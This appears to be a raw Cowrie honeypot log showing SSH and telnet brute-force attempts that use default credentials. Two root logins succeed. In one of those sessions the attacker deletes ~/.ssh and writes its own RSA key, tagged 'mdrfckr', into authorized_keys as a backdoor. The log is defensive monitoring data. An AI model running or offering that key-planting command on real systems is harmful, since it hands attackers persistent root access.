{"eventid":"cowrie.login.failed","username":"admin","password":"admin","message":"login attempt [admin/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:49:10.718584Z","src_ip":"167.172.90.163","session":"4252b5a6e909","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":61.370360374450684,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:49:10.722066Z","src_ip":"167.172.90.163","session":"4252b5a6e909","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.310216903686523,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:49:15.995451Z","src_ip":"170.82.66.2","session":"88aabb1e6438","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":51032,"dst_ip":"159.203.135.109","dst_port":22,"session":"72219dc73ea1","protocol":"ssh","message":"New connection: 193.32.162.151:51032 (159.203.135.109:22) [session: 72219dc73ea1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:49:32.809429Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:49:32.823501Z","src_ip":"193.32.162.151","session":"72219dc73ea1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:49:32.916939Z","src_ip":"193.32.162.151","session":"72219dc73ea1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres","message":"login attempt [postgres/postgres] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:49:33.389227Z","src_ip":"193.32.162.151","session":"72219dc73ea1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:49:34.492404Z","src_ip":"193.32.162.151","session":"72219dc73ea1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":60384,"dst_ip":"10.17.0.5","dst_port":22,"session":"e459dffa8f3b","protocol":"ssh","message":"New connection: 92.118.39.92:60384 (10.17.0.5:22) [session: e459dffa8f3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:50:16.945996Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:50:16.951093Z","src_ip":"92.118.39.92","session":"e459dffa8f3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:50:17.056333Z","src_ip":"92.118.39.92","session":"e459dffa8f3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"weblogic","password":"weblogic","message":"login attempt [weblogic/weblogic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:50:17.370522Z","src_ip":"92.118.39.92","session":"e459dffa8f3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:50:18.494914Z","src_ip":"92.118.39.92","session":"e459dffa8f3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.76","src_port":41474,"dst_ip":"159.203.135.109","dst_port":22,"session":"37c2cb040adc","protocol":"ssh","message":"New connection: 92.118.39.76:41474 (159.203.135.109:22) [session: 37c2cb040adc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:50:43.039827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:50:43.044818Z","src_ip":"92.118.39.76","session":"37c2cb040adc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:50:43.161207Z","src_ip":"92.118.39.76","session":"37c2cb040adc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:50:43.478259Z","src_ip":"92.118.39.76","session":"37c2cb040adc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:50:44.585129Z","src_ip":"92.118.39.76","session":"37c2cb040adc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.1.180.57","src_port":16653,"dst_ip":"10.17.0.5","dst_port":22,"session":"a263b487cb32","protocol":"ssh","message":"New connection: 61.1.180.57:16653 (10.17.0.5:22) [session: a263b487cb32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:51:10.256663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:51:10.261229Z","src_ip":"61.1.180.57","session":"a263b487cb32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:51:10.516850Z","src_ip":"61.1.180.57","session":"a263b487cb32","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"zxcv123","message":"login attempt [root/zxcv123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:51:11.574147Z","src_ip":"61.1.180.57","session":"a263b487cb32","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:51:12.122729Z","src_ip":"61.1.180.57","session":"a263b487cb32","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:51:12.126157Z","src_ip":"61.1.180.57","session":"a263b487cb32","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:51:12.129872Z","src_ip":"61.1.180.57","session":"a263b487cb32","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:51:12.389246Z","src_ip":"61.1.180.57","session":"a263b487cb32","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:51:12.933256Z","src_ip":"61.1.180.57","session":"a263b487cb32","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:51:12.936611Z","src_ip":"61.1.180.57","session":"a263b487cb32","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:51:13.195786Z","src_ip":"61.1.180.57","session":"a263b487cb32","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:51:13.199736Z","src_ip":"61.1.180.57","session":"a263b487cb32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.1.180.57","src_port":52781,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b5c17dd2289","protocol":"ssh","message":"New connection: 61.1.180.57:52781 (10.17.0.5:22) [session: 5b5c17dd2289]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:51:13.461301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:51:13.465440Z","src_ip":"61.1.180.57","session":"5b5c17dd2289","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:51:13.727821Z","src_ip":"61.1.180.57","session":"5b5c17dd2289","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:51:14.807844Z","src_ip":"61.1.180.57","session":"5b5c17dd2289","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:51:16.075076Z","src_ip":"61.1.180.57","session":"5b5c17dd2289","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.1.180.57","src_port":8306,"dst_ip":"10.17.0.5","dst_port":22,"session":"a321bcd251ad","protocol":"ssh","message":"New connection: 61.1.180.57:8306 (10.17.0.5:22) [session: a321bcd251ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:51:16.327351Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:51:16.334701Z","src_ip":"61.1.180.57","session":"a321bcd251ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:51:16.596357Z","src_ip":"61.1.180.57","session":"a321bcd251ad","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:51:17.657582Z","src_ip":"61.1.180.57","session":"a321bcd251ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.7","message":"Connection lost after 7.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:51:17.920409Z","src_ip":"61.1.180.57","session":"a263b487cb32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:51:17.923491Z","src_ip":"61.1.180.57","session":"a321bcd251ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":38618,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf04f5aab844","protocol":"ssh","message":"New connection: 193.32.162.151:38618 (159.203.135.109:22) [session: bf04f5aab844]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:51:50.707300Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:51:50.711441Z","src_ip":"193.32.162.151","session":"bf04f5aab844","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:51:50.812383Z","src_ip":"193.32.162.151","session":"bf04f5aab844","protocol":"ssh"}
